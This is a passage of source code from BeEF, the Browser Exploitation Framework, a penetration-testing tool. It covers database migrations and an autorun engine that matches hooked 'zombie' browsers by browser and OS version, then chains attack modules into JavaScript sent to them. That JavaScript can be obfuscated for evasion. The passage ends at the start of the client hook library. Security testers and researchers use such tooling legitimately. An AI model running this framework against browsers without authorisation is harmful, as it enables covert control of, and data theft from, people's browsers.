t.datetime :date t.integer :status t.text :data end end end ================================================ FILE: core/main/ar-migrations/006_create_option_caches.rb ================================================ class CreateOptionCaches < ActiveRecord::Migration[6.0] def change create_table :option_caches do |t| t.text :name t.text :value end end end ================================================ FILE: core/main/ar-migrations/007_create_browser_details.rb ================================================ class CreateBrowserDetails < ActiveRecord::Migration[6.0] def change create_table :browser_details do |t| t.text :session_id t.text :detail_key t.text :detail_value end end end ================================================ FILE: core/main/ar-migrations/008_create_executions.rb ================================================ class CreateExecutions < ActiveRecord::Migration[6.0] def change create_table :executions do |t| t.text :session_id t.integer :mod_count t.integer :mod_successful t.text :mod_body t.text :exec_time t.text :rule_token t.boolean :is_sent t.integer :rule_id end end end ================================================ FILE: core/main/ar-migrations/009_create_rules.rb ================================================ class CreateRules < ActiveRecord::Migration[6.0] def change create_table :rules do |t| t.text :name t.text :author t.text :browser t.text :browser_version t.text :os t.text :os_version t.text :modules t.text :execution_order t.text :execution_delay t.text :chain_mode end end end ================================================ FILE: core/main/ar-migrations/010_create_interceptor.rb ================================================ class CreateInterceptor < ActiveRecord::Migration[6.0] def change create_table :interceptors do |t| t.text :ip t.text :post_data end end end ================================================ FILE: core/main/ar-migrations/011_create_web_cloner.rb ================================================ class CreateWebCloner < ActiveRecord::Migration[6.0] def change create_table :web_cloners do |t| t.text :uri t.text :mount end end end ================================================ FILE: core/main/ar-migrations/013_create_network_host.rb ================================================ class CreateNetworkHost < ActiveRecord::Migration[6.0] def change create_table :network_hosts do |t| t.references :hooked_browser t.text :ip t.text :hostname t.text :ntype t.text :os t.text :mac t.text :lastseen end end end ================================================ FILE: core/main/ar-migrations/014_create_network_service.rb ================================================ class CreateNetworkService < ActiveRecord::Migration[6.0] def change create_table :network_services do |t| t.references :hooked_browser t.text :proto t.text :ip t.text :port t.text :ntype end end end ================================================ FILE: core/main/ar-migrations/015_create_http.rb ================================================ class CreateHttp < ActiveRecord::Migration[6.0] def change create_table :https do |t| t.text :hooked_browser_id # The http request to perform. In clear text. t.text :request # Boolean value as string to say whether cross-origin requests are allowed t.boolean :allow_cross_origin, default: true # The http response body received. In clear text. t.text :response_data # The http response code. Useful to handle cases like 404, 500, 302, ... t.integer :response_status_code # The http response code. Human-readable code: success, error, ecc.. t.text :response_status_text # The port status. closed, open or not http t.text :response_port_status # The XHR Http response raw headers t.text :response_headers # The http response method. GET or POST. t.text :method # The content length for the request. t.text :content_length, default: 0 # The request protocol/scheme (http/https) t.text :proto # The domain on which perform the request. t.text :domain # The port on which perform the request. t.text :port # Boolean value to say if the request was cross-origin t.text :has_ran, default: 'waiting' # The path of the request. # Example: /secret.html t.text :path # The date at which the http response has been saved. t.datetime :response_date # The date at which the http request has been saved. t.datetime :request_date end end end ================================================ FILE: core/main/ar-migrations/016_create_rtc_status.rb ================================================ class CreateRtcStatus < ActiveRecord::Migration[6.0] def change create_table :rtc_statuss do |t| t.references :hooked_browser t.integer :target_hooked_browser_id t.text :status end end end ================================================ FILE: core/main/ar-migrations/017_create_rtc_manage.rb ================================================ class CreateRtcManage < ActiveRecord::Migration[6.0] def change create_table :rtc_manages do |t| t.references :hooked_browser t.text :message t.text :has_sent, default: 'waiting' end end end ================================================ FILE: core/main/ar-migrations/018_create_rtc_signal.rb ================================================ class CreateRtcSignal < ActiveRecord::Migration[6.0] def change create_table :rtc_signals do |t| t.references :hooked_browser t.integer :target_hooked_browser_id t.text :signal t.text :has_sent, default: 'waiting' end end end ================================================ FILE: core/main/ar-migrations/019_create_rtc_module_status.rb ================================================ class CreateRtcModuleStatus < ActiveRecord::Migration[6.0] def change create_table :rtc_module_statuss do |t| t.references :hooked_browser t.references :command_module t.integer :target_hooked_browser_id t.text :status end end end ================================================ FILE: core/main/ar-migrations/020_create_xssrays_detail.rb ================================================ class CreateXssraysDetail < ActiveRecord::Migration[6.0] def change create_table :xssraysdetails do |t| t.references :hooked_browser t.text :vector_name t.text :vector_method t.text :vector_poc end end end ================================================ FILE: core/main/ar-migrations/021_create_dns_rule.rb ================================================ class CreateDnsRule < ActiveRecord::Migration[6.0] def change create_table :dns_rules do |t| t.text :pattern t.text :resource t.text :response t.text :callback end end end ================================================ FILE: core/main/ar-migrations/024_create_autoloader.rb ================================================ class CreateAutoloader < ActiveRecord::Migration[6.0] def change create_table :autoloaders do |t| t.references :command t.boolean :in_use end end end ================================================ FILE: core/main/ar-migrations/025_create_xssrays_scan.rb ================================================ class CreateXssraysScan < ActiveRecord::Migration[6.0] def change create_table :xssraysscans do |t| t.references :hooked_browser t.datetime :scan_start t.datetime :scan_finish t.text :domain t.text :cross_origin t.integer :clean_timeout t.boolean :is_started t.boolean :is_finished end end end ================================================ FILE: core/main/autorun_engine/engine.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module AutorunEngine class Engine include Singleton def initialize @config = BeEF::Core::Configuration.instance @result_poll_interval = @config.get('beef.autorun.result_poll_interval') @result_poll_timeout = @config.get('beef.autorun.result_poll_timeout') @continue_after_timeout = @config.get('beef.autorun.continue_after_timeout') @debug_on = @config.get('beef.debug') @VERSION = ['<', '<=', '==', '>=', '>', 'ALL'] @VERSION_STR = %w[XP Vista 7] end # Checks if there are any ARE rules to be triggered for the specified hooked browser. # # Returns an array with rule IDs that matched and should be triggered. # if rule_id is specified, checks will be executed only against the specified rule (useful # for dynamic triggering of new rulesets ar runtime) def find_matching_rules_for_zombie(browser, browser_version, os, os_version) rules = BeEF::Core::Models::Rule.all return if rules.nil? return if rules.empty? # TODO: handle cases where there are multiple ARE rules for the same hooked browser. # maybe rules need to have priority or something? print_info '[ARE] Checking if any defined rules should be triggered on target.' match_rules = [] rules.each do |rule| next unless zombie_matches_rule?(browser, browser_version, os, os_version, rule) match_rules.push(rule.id) print_more("Hooked browser and OS match rule: #{rule.name}.") end print_more("Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser.") match_rules end # @return [Boolean] # Note: browser version checks are supporting only major versions, ex: C 43, IE 11 # Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1 def zombie_matches_rule?(browser, browser_version, os, os_version, rule) return false if rule.nil? unless zombie_browser_matches_rule?(browser, browser_version, rule) print_debug("Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : does not match") return false end print_debug("Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : matched") unless zombie_os_matches_rule?(os, os_version, rule) print_debug("OS version check -> (hook) #{os_version} #{rule.os_version} (rule): does not match") return false end print_debug("OS version check -> (hook) #{os_version} #{rule.os_version} (rule): matched") true rescue StandardError => e print_error e.message print_debug e.backtrace.join("\n") end # @return [Boolean] # TODO: This should be updated to support matching multiple OS (like the browser check below) def zombie_os_matches_rule?(os, os_version, rule) return false if rule.nil? return false unless rule.os == 'ALL' || os == rule.os # check if the OS versions match os_ver_rule_cond = rule.os_version.split(' ').first return true if os_ver_rule_cond == 'ALL' return false unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond) os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first os_ver_rule_min = rule.os_version.split(' ').last.split('.').last if os_ver_rule_maj == 'XP' os_ver_rule_maj = 5 os_ver_rule_min = 0 elsif os_ver_rule_maj == 'Vista' os_ver_rule_maj = 6 os_ver_rule_min = 0 elsif os_ver_rule_maj == '7' os_ver_rule_maj = 6 os_ver_rule_min = 0 end # Most of the times Linux/*BSD OS doesn't return any version # (TODO: improve OS detection on these operating systems) if !os_version.nil? && !@VERSION_STR.include?(os_version) os_ver_hook_maj = os_version.split('.').first os_ver_hook_min = os_version.split('.').last # the following assignments to 0 are need for later checks like: # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same os_ver_hook_min = 0 if os_version.split('.').length == 1 os_ver_rule_min = 0 if rule.os_version.split('.').length == 1 else # XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on. # TODO: BUG: This will fail horribly if the target OS is Windows 7 or newer, # as no version normalization is performed. # TODO: Update this for every OS since Vista/7 ... if os_version == 'XP' os_ver_hook_maj = 5 os_ver_hook_min = 0 elsif os_version == 'Vista' os_ver_hook_maj = 6 os_ver_hook_min = 0 elsif os_version == '7' os_ver_hook_maj = 6 os_ver_hook_min = 0 end end if !os_version.nil? || rule.os_version != 'ALL' os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s) os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s) return false unless (os_major_version_match && os_minor_version_match) end true rescue StandardError => e print_error e.message print_debug e.backtrace.join("\n") end # @return [Boolean] def zombie_browser_matches_rule?(browser, browser_version, rule) return false if rule.nil? b_ver_cond = rule.browser_version.split(' ').first return false unless @VERSION.include?(b_ver_cond) b_ver = rule.browser_version.split(' ').last return false unless BeEF::Filters.is_valid_browserversion?(b_ver) # check if rule specifies multiple browsers if rule.browser =~ /\A[A-Z]+\Z/ return false unless rule.browser == 'ALL' || browser == rule.browser # check if the browser version matches browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s) return false unless browser_version_match else browser_match = false rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b| if b == browser || b == 'ALL' browser_match = true break end end return false unless browser_match end true rescue StandardError => e print_error e.message print_debug e.backtrace.join("\n") end # Check if the hooked browser type/version and OS type/version match any Rule-sets # stored in the BeEF::Core::Models::Rule database table # If one or more Rule-sets do match, trigger the module chain specified def find_and_run_all_matching_rules_for_zombie(hb_id) return if hb_id.nil? hb_details = BeEF::Core::Models::BrowserDetails browser_name = hb_details.get(hb_id, 'browser.name') browser_version = hb_details.get(hb_id, 'browser.version') os_name = hb_details.get(hb_id, 'host.os.name') os_version = hb_details.get(hb_id, 'host.os.version') are = BeEF::Core::AutorunEngine::Engine.instance rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version) return if rules.nil? return if rules.empty? are.run_rules_on_zombie(rules, hb_id) end # Run the specified rule IDs on the specified zombie ID # only if the rules match. def run_matching_rules_on_zombie(rule_ids, hb_id) return if rule_ids.nil? return if hb_id.nil? rule_ids = [rule_ids.to_i] if rule_ids.is_a?(String) hb_details = BeEF::Core::Models::BrowserDetails browser_name = hb_details.get(hb_id, 'browser.name') browser_version = hb_details.get(hb_id, 'browser.version') os_name = hb_details.get(hb_id, 'host.os.name') os_version = hb_details.get(hb_id, 'host.os.version') are = BeEF::Core::AutorunEngine::Engine.instance rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version) return if rules.nil? return if rules.empty? new_rules = [] rules.each do |rule| new_rules << rule if rule_ids.include?(rule) end return if new_rules.empty? are.run_rules_on_zombie(new_rules, hb_id) end # Run the specified rule IDs on the specified zombie ID # regardless of whether the rules match. # Prepare and return the JavaScript of the modules to be sent. # It also updates the rules ARE execution table with timings def run_rules_on_zombie(rule_ids, hb_id) return if rule_ids.nil? return if hb_id.nil? hb = BeEF::HBManager.get_by_id(hb_id) hb_session = hb.session rule_ids = [rule_ids] if rule_ids.is_a?(Integer) rule_ids.each do |rule_id| rule = BeEF::Core::Models::Rule.find(rule_id) modules = JSON.parse(rule.modules) execution_order = JSON.parse(rule.execution_order) execution_delay = JSON.parse(rule.execution_delay) chain_mode = rule.chain_mode unless %w[sequential nested-forward].include?(chain_mode) print_error("[ARE] Invalid chain mode '#{chain_mode}' for rule") return end mods_bodies = [] mods_codes = [] mods_conditions = [] # this ensures that if both rule A and rule B call the same module in sequential mode, # execution will be correct preventing wrapper functions to be called with equal names. rule_token = SecureRandom.hex(5) modules.each do |cmd_mod| mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first options = [] replace_input = false cmd_mod['options'].each do |k, v| options.push({ 'name' => k, 'value' => v }) replace_input = true if v == '<>' end command_body = prepare_command(mod, options, hb_id, replace_input, rule_token) mods_bodies.push(command_body) mods_codes.push(cmd_mod['code']) mods_conditions.push(cmd_mod['condition']) end # Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper case chain_mode when 'nested-forward' wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token) when 'sequential' wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token) else # we should never get here. chain mode is validated earlier. print_error("[ARE] Invalid chain mode '#{chain_mode}'") next end print_more "Triggering rules #{rule_ids} on HB #{hb_id}" are_exec = BeEF::Core::Models::Execution.new( session_id: hb_session, mod_count: modules.length, mod_successful: 0, rule_token: rule_token, mod_body: wrapper, is_sent: false, rule_id: rule_id ) are_exec.save! end end private # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay. # Launch order is also taken care of. # - sequential chain with delays (setTimeout stuff) # ex.: setTimeout(module_one(), 0); # setTimeout(module_two(), 2000); # setTimeout(module_three(), 3000); # Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring # what their status will be (for instance, a bunch of XSRFs on a set of targets) def prepare_sequential_wrapper(mods, order, delay, rule_token) wrapper = '' delayed_exec = '' c = 0 while c < mods.length delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); | mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output") wrapped_mod = "#{mod_body}\n" wrapper += wrapped_mod c += 1 end wrapper += delayed_exec print_more "Final Modules Wrapper:\n #{wrapper}" if @debug_on wrapper end # Wraps module bodies in their own function, then start to execute them from the first, polling for # command execution status/results (with configurable polling interval and timeout). # Launch order is also taken care of. # - nested forward chain with status checks (setInterval to wait for command to return from async operations) # ex.: module_one() # if condition # module_two(module_one_output) # if condition # module_three(module_two_output) # # Note: command result status is checked, and you can properly chain input into output, having also # the flexibility of slightly mangling it to adapt to module needs. # Note: Useful in situations where you want to launch 2 modules, where the second one will execute only # if the first once return with success. Also, the second module has the possibility of mangling first # module output and use it as input for some of its module inputs. def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) wrapper = '' delayed_exec = '' delayed_exec_footers = [] c = 0 while c < mods.length i = if mods.length == 1 c else c + 1 end code_snippet = '' mod_input = '' if code[c] != 'null' && code[c] != '' code_snippet = code[c] mod_input = 'mod_input' end conditions[i] = true if conditions[i].nil? || conditions[i] == '' if c == 0 # this is the first wrapper to prepare delayed_exec += %| function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ #{mods[order[c]][:mod_name]}_#{rule_token}(); // TODO add timeout to prevent infinite loops function isResReady(mod_result, start){ if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){ // loop }else{ // module return status/data is now available clearInterval(resultReady); if (mod_result === null && #{@continue_after_timeout}){ var mod_result = []; mod_result[0] = 1; //unknown status mod_result[1] = '' //empty result } var status = mod_result[0]; if(#{conditions[i]}){ #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true; #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; | delayed_exec_footer = %| } } } var start = (new Date()).getTime(); var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval}); } #{mods[order[c]][:mod_name]}_#{rule_token}_f(); | delayed_exec_footers.push(delayed_exec_footer) elsif c < mods.length - 1 code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}") # this is one of the wrappers in the middle of the chain delayed_exec += %| function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ #{code_snippet} #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input}); function isResReady(mod_result, start){ if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){ // loop }else{ // module return status/data is now available clearInterval(resultReady); if (mod_result === null && #{@continue_after_timeout}){ var mod_result = []; mod_result[0] = 1; //unknown status mod_result[1] = '' //empty result } var status = mod_result[0]; if(#{conditions[i]}){ #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true; #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; | delayed_exec_footer = %| } } } var start = (new Date()).getTime(); var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval}); } } #{mods[order[c]][:mod_name]}_#{rule_token}_f(); | delayed_exec_footers.push(delayed_exec_footer) else code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}") # this is the last wrapper to prepare delayed_exec += %| function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ #{code_snippet} #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input}); } } #{mods[order[c]][:mod_name]}_#{rule_token}_f(); | end mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output") wrapped_mod = "#{mod_body}\n" wrapper += wrapped_mod c += 1 end wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n") print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on wrapper end # prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it, # and store it in the database. # Returns the raw module body after template substitution. def prepare_command(mod, options, hb_id, replace_input, rule_token) config = BeEF::Core::Configuration.instance begin command = BeEF::Core::Models::Command.new( data: options.to_json, hooked_browser_id: hb_id, command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"), creationdate: Time.new.to_i, instructions_sent: true ) command.save! command_module = BeEF::Core::Models::CommandModule.find(mod.id) if command_module.path.match(/^Dynamic/) # metasploit and similar integrations command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new else # normal modules always here key = BeEF::Module.get_key_by_database_id(mod.id) command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key) end hb = BeEF::HBManager.get_by_id(hb_id) hb_session = hb.session command_module.command_id = command.id command_module.session_id = hb_session command_module.build_datastore(command.data) command_module.pre_send build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty? if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance command_body = evasion.obfuscate(command_module.output) + "\n\n" else command_body = command_module.output + "\n\n" end # @note prints the event to the console print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]" mod_input = replace_input ? 'mod_input' : '' result = %| var #{mod.name}_#{rule_token} = function(#{mod_input}){ #{clean_command_body(command_body, replace_input)} }; var #{mod.name}_#{rule_token}_can_exec = false; var #{mod.name}_#{rule_token}_mod_output = null; | { mod_name: mod.name, mod_body: result } rescue StandardError => e print_error e.message print_debug e.backtrace.join("\n") end end # Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than # using the default behavior of adding the module to an array and execute it at polling time. # # Also replace <> with mod_input variable if needed for chaining module output/input def clean_command_body(command_body, replace_input) cmd_body = command_body.lines.map(&:chomp) wrapper_start_index, wrapper_end_index = nil cmd_body.each_with_index do |line, index| if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/ wrapper_start_index = index break end end print_error '[ARE] Could not find module start index' if wrapper_start_index.nil? cmd_body.reverse.each_with_index do |line, index| if line.include?('});') wrapper_end_index = index break end end print_error '[ARE] Could not find module end index' if wrapper_end_index.nil? cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join("\n") print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('') # check if <> should be replaced with a variable name (depending if the variable is a string or number) return cleaned_cmd_body unless replace_input if cleaned_cmd_body.include?('"<>"') cleaned_cmd_body.gsub('"<>"', 'mod_input') elsif cleaned_cmd_body.include?('\'<>\'') cleaned_cmd_body.gsub('\'<>\'', 'mod_input') elsif cleaned_cmd_body.include?('<>') cleaned_cmd_body.gsub('\'<>\'', 'mod_input') else cleaned_cmd_body end rescue StandardError => e print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}" end # compare versions def compare_versions(ver_a, cond, ver_b) return true if cond == 'ALL' return true if cond == '==' && ver_a == ver_b return true if cond == '<=' && ver_a <= ver_b return true if cond == '<' && ver_a < ver_b return true if cond == '>=' && ver_a >= ver_b return true if cond == '>' && ver_a > ver_b false end end end end end ================================================ FILE: core/main/autorun_engine/parser.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module AutorunEngine class Parser include Singleton def initialize @config = BeEF::Core::Configuration.instance end BROWSER = %w[FF C IE S O ALL] OS = %w[Linux Windows OSX Android iOS BlackBerry ALL] VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP'] CHAIN_MODE = %w[sequential nested-forward] MAX_VER_LEN = 15 def parse(name, author, browser, browser_version, os, os_version, modules, execution_order, execution_delay, chain_mode) raise ArgumentError, "Invalid rule name: #{name}" unless BeEF::Filters.is_non_empty_string?(name) raise ArgumentError, "Invalid author name: #{author}" unless BeEF::Filters.is_non_empty_string?(author) raise ArgumentError, "Invalid chain_mode definition: #{chain_mode}" unless CHAIN_MODE.include?(chain_mode) raise ArgumentError, "Invalid os definition: #{os}" unless OS.include?(os) unless modules.size == execution_delay.size raise ArgumentError, "Number of execution_delay values (#{execution_delay.size}) must be consistent with number of modules (#{modules.size})" end execution_delay.each { |delay| raise TypeError, "Invalid execution_delay value: #{delay}. Values must be Integers." unless delay.is_a?(Integer) } unless modules.size == execution_order.size raise ArgumentError, "Number of execution_order values (#{execution_order.size}) must be consistent with number of modules (#{modules.size})" end execution_order.each { |order| raise TypeError, "Invalid execution_order value: #{order}. Values must be Integers." unless order.is_a?(Integer) } # if multiple browsers were specified, check each browser if browser.is_a?(Array) browser.each do |b| raise ArgumentError, "Invalid browser definition: #{browser}" unless BROWSER.include?(b) end # else, if only one browser was specified, check browser and browser version else raise ArgumentError, "Invalid browser definition: #{browser}" unless BROWSER.include?(browser) if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\s+/, '')) && BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/, '')) && browser_version.length < MAX_VER_LEN) raise ArgumentError, "Invalid browser_version definition: #{browser_version}" end end if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) && BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\s+/, '')) && os_version.length < MAX_VER_LEN) return ArgumentError, "Invalid os_version definition: #{os_version}" end # check if module names, conditions and options are ok modules.each do |cmd_mod| mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first raise "The specified module name (#{cmd_mod['name']}) does not exist" if mod.nil? modk = BeEF::Module.get_key_by_database_id(mod.id) mod_options = BeEF::Module.get_options(modk) opt_count = 0 mod_options.each do |opt| if opt['name'] != cmd_mod['options'].keys[opt_count] raise ArgumentError, "The specified option (#{cmd_mod['options'].keys[opt_count]}) for module (#{cmd_mod['name']}) was not specified" end opt_count += 1 end end true end end end end end ================================================ FILE: core/main/autorun_engine/rule_loader.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module AutorunEngine class RuleLoader include Singleton def initialize @config = BeEF::Core::Configuration.instance @debug_on = @config.get('beef.debug') end # Load an ARE rule set # @param [Hash] ARE ruleset as JSON # @return [Hash] {"success": Boolean, "rule_id": Integer, "error": String} def load_rule_json(data) name = data['name'] || '' author = data['author'] || '' browser = data['browser'] || 'ALL' browser_version = data['browser_version'] || 'ALL' os = data['os'] || 'ALL' os_version = data['os_version'] || 'ALL' modules = data['modules'] execution_order = data['execution_order'] execution_delay = data['execution_delay'] chain_mode = data['chain_mode'] || 'sequential' begin BeEF::Core::AutorunEngine::Parser.instance.parse( name, author, browser, browser_version, os, os_version, modules, execution_order, execution_delay, chain_mode ) rescue => e print_error("[ARE] Error loading ruleset (#{name}): #{e.message}") return { 'success' => false, 'error' => e.message } end existing_rule = BeEF::Core::Models::Rule.where( name: name, author: author, browser: browser, browser_version: browser_version, os: os, os_version: os_version, modules: modules.to_json, execution_order: execution_order.to_s, execution_delay: execution_delay.to_s, chain_mode: chain_mode ).first unless existing_rule.nil? msg = "Duplicate rule already exists in the database (ID: #{existing_rule.id})" print_info("[ARE] Skipping ruleset (#{name}): #{msg}") return { 'success' => false, 'error' => msg } end are_rule = BeEF::Core::Models::Rule.new( name: name, author: author, browser: browser, browser_version: browser_version, os: os, os_version: os_version, modules: modules.to_json, execution_order: execution_order.to_s, execution_delay: execution_delay.to_s, chain_mode: chain_mode ) are_rule.save print_info("[ARE] Ruleset (#{name}) parsed and stored successfully.") if @debug_on print_more "Target Browser: #{browser} (#{browser_version})" print_more "Target OS: #{os} (#{os_version})" print_more 'Modules to run:' modules.each do |mod| print_more "(*) Name: #{mod['name']}" print_more "(*) Condition: #{mod['condition']}" print_more "(*) Code: #{mod['code']}" print_more '(*) Options:' mod['options'].each do |key, value| print_more "\t#{key}: (#{value})" end end print_more "Exec order: #{execution_order}" print_more "Exec delay: #{exec_delay}" end { 'success' => true, 'rule_id' => are_rule.id } rescue TypeError, ArgumentError => e print_error("[ARE] Failed to load ruleset (#{name}): #{e.message}") { 'success' => false, 'error' => e.message } end # Update an ARE rule set. # @param [Hash] ARE rule ID. # @param [Hash] ARE ruleset as JSON # @return [Hash] {"success": Boolean, "rule_id": Integer, "error": String} def update_rule_json(id, data) # Quite similar in implementation to load_rule_json. Might benefit from a refactor. name = data['name'] || '' author = data['author'] || '' browser = data['browser'] || 'ALL' browser_version = data['browser_version'] || 'ALL' os = data['os'] || 'ALL' os_version = data['os_version'] || 'ALL' modules = data['modules'] execution_order = data['execution_order'] execution_delay = data['execution_delay'] chain_mode = data['chain_mode'] || 'sequential' begin BeEF::Core::AutorunEngine::Parser.instance.parse( name, author, browser, browser_version, os, os_version, modules, execution_order, execution_delay, chain_mode ) rescue => e print_error("[ARE] Error updating ruleset (#{name}): #{e.message}") return { 'success' => false, 'error' => e.message } end existing_rule = BeEF::Core::Models::Rule.where( name: name, author: author, browser: browser, browser_version: browser_version, os: os, os_version: os_version, modules: modules.to_json, execution_order: execution_order.to_s, execution_delay: execution_delay.to_s, chain_mode: chain_mode ).first unless existing_rule.nil? msg = "Duplicate rule already exists in the database (ID: #{existing_rule.id})" print_info("[ARE] Skipping ruleset (#{name}): #{msg}") return { 'success' => false, 'error' => msg } end old_are_rule = BeEF::Core::Models::Rule.find_by(id: id) old_are_rule.update( name: name, author: author, browser: browser, browser_version: browser_version, os: os, os_version: os_version, modules: modules.to_json, execution_order: execution_order.to_s, execution_delay: execution_delay.to_s, chain_mode: chain_mode ) print_info("[ARE] Ruleset (#{name}) updated successfully.") if @debug_on print_more "Target Browser: #{browser} (#{browser_version})" print_more "Target OS: #{os} (#{os_version})" print_more 'Modules to run:' modules.each do |mod| print_more "(*) Name: #{mod['name']}" print_more "(*) Condition: #{mod['condition']}" print_more "(*) Code: #{mod['code']}" print_more '(*) Options:' mod['options'].each do |key, value| print_more "\t#{key}: (#{value})" end end print_more "Exec order: #{execution_order}" print_more "Exec delay: #{exec_delay}" end { 'success' => true } rescue TypeError, ArgumentError => e print_error("[ARE] Failed to update ruleset (#{name}): #{e.message}") { 'success' => false, 'error' => e.message } end # Load an ARE ruleset from file # @param [String] JSON ARE ruleset file path def load_rule_file(json_rule_path) rule_file = File.open(json_rule_path, 'r:UTF-8', &:read) self.load_rule_json(JSON.parse(rule_file)) rescue => e print_error("[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}") end # Load all JSON ARE rule files from arerules/enabled/ directory def load_directory Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule_file| print_debug("[ARE] Processing ruleset file: #{rule_file}") load_rule_file(rule_file) end end end end end end ================================================ FILE: core/main/client/are.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * A series of functions that handle statuses, returns a number based on the function called. * @namespace beef.are */ beef.are = { /** * A function for handling a success status * @memberof beef.are * @method status_success * @return {number} 1 */ status_success: function(){ return 1; }, /** * A function for handling an unknown status * @memberof beef.are * @method status_unknown * @return {number} 0 */ status_unknown: function(){ return 0; }, /** * A function for handling an error status * @memberof beef.are * @method status_error * @return {number} -1 */ status_error: function(){ return -1; } }; beef.regCmp("beef.are"); ================================================ FILE: core/main/client/beef.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /*! * BeEF JS Library <%= @beef_version %> * Register the BeEF JS on the window object. */ $j = jQuery.noConflict(); if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { /** * Register the BeEF JS on the window object. * @namespace {Object} BeefJS * @property {string} version BeEf Version * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write(). * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method. * @property {array} onclose An array containing functions to be executed by the window.onclose() method. * @property {array} commands An array containing functions to be executed by Beef. * @property {array} components An 